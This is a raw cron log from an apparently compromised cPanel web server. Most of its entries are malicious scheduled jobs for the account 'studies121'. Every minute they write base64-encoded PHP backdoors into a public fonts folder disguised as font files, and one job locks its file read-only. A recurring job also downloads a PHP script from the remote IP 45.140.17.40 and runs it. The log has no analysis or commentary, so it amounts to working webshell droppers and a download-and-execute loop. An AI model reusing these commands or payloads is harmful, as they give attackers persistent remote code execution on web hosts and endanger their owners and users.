Sep  2 20:54:01 ip-184-168-122-23 CROND[10979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:54:01 ip-184-168-122-23 CROND[10977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:55:01 ip-184-168-122-23 CROND[11155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:55:01 ip-184-168-122-23 CROND[11157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:55:01 ip-184-168-122-23 CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:55:01 ip-184-168-122-23 CROND[11159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:55:01 ip-184-168-122-23 CROND[11161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:55:01 ip-184-168-122-23 CROND[11160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:56:01 ip-184-168-122-23 CROND[11294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:56:01 ip-184-168-122-23 CROND[11296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:56:01 ip-184-168-122-23 CROND[11298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:56:01 ip-184-168-122-23 CROND[11297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:56:01 ip-184-168-122-23 CROND[11299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:57:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:57:01 ip-184-168-122-23 CROND[11386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:57:01 ip-184-168-122-23 CROND[11387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:57:01 ip-184-168-122-23 CROND[11388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:58:01 ip-184-168-122-23 CROND[11469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:58:01 ip-184-168-122-23 CROND[11473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:58:01 ip-184-168-122-23 CROND[11471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:58:01 ip-184-168-122-23 CROND[11472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:58:01 ip-184-168-122-23 CROND[11474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:59:01 ip-184-168-122-23 CROND[11555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:59:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:59:01 ip-184-168-122-23 CROND[11558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:59:01 ip-184-168-122-23 CROND[11557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:00:01 ip-184-168-122-23 CROND[11737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:00:02 ip-184-168-122-23 CROND[11739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:00:02 ip-184-168-122-23 CROND[11741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:00:02 ip-184-168-122-23 CROND[11742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:00:02 ip-184-168-122-23 CROND[11745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:00:02 ip-184-168-122-23 CROND[11743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:00:02 ip-184-168-122-23 CROND[11746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:00:02 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:01:01 ip-184-168-122-23 CROND[11845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:01:01 ip-184-168-122-23 CROND[11847]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 21:01:01 ip-184-168-122-23 CROND[11850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:01:01 ip-184-168-122-23 CROND[11851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:01:01 ip-184-168-122-23 CROND[11852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:01:01 ip-184-168-122-23 CROND[11848]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11847]: starting 0anacron
Sep  2 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11866]: finished 0anacron
Sep  2 21:02:01 ip-184-168-122-23 CROND[11949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:02:01 ip-184-168-122-23 CROND[11951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:02:01 ip-184-168-122-23 CROND[11950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:02:01 ip-184-168-122-23 CROND[11953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:02:01 ip-184-168-122-23 CROND[11952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:03:02 ip-184-168-122-23 CROND[12051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:03:02 ip-184-168-122-23 CROND[12053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:03:02 ip-184-168-122-23 CROND[12050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:03:02 ip-184-168-122-23 CROND[12052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:04:01 ip-184-168-122-23 CROND[12140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:04:01 ip-184-168-122-23 CROND[12144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:04:01 ip-184-168-122-23 CROND[12142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:04:01 ip-184-168-122-23 CROND[12145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:04:01 ip-184-168-122-23 CROND[12143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:05:01 ip-184-168-122-23 CROND[12235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:05:01 ip-184-168-122-23 CROND[12241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:06:01 ip-184-168-122-23 CROND[12430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:06:01 ip-184-168-122-23 CROND[12432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:06:01 ip-184-168-122-23 CROND[12431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:06:01 ip-184-168-122-23 CROND[12436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
